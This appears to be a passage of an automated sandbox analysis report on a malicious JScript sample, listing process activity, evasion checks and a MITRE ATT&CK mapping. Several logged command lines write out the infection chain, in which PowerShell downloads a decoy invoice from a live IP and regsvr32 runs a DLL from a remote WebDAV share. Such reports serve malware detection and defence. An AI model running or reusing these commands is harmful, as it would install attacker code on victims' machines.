Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4836.js.csv");ITextStream.WriteLine(" entry:2470 f:sfvekb");ITextStream.WriteLine(" exec:2 f:sfvekb");ITextStream.WriteLine(" entry:5 o: f:eval a0:%22biiifafo%3D%5B1031%2C3079%2C5127%2C4103%2C2055%2C3072%5D%3Bvar%20sbuqp%3Dthis%5Bhdgqwv%2Bjliismzky%2Bjbghzpz%2Bgvblp%2Bqhmdn%2Bsdeocah%2Bohhwk%2Bqeicp%5D(this%5Bfchslk%2Brxadyqm%2Bcfngwk%2Bjbghzpz%2Bx");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4526			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5275			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6656	Thread sleep count: 4526 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6656	Thread sleep count: 5275 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6548	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6540	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6104	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6500	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6004	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7272	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2097343830.000002094D500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3320322014.0000021EA8658000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3319365018.0000021EA302B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2097343830.000002094D498000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpSPM

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
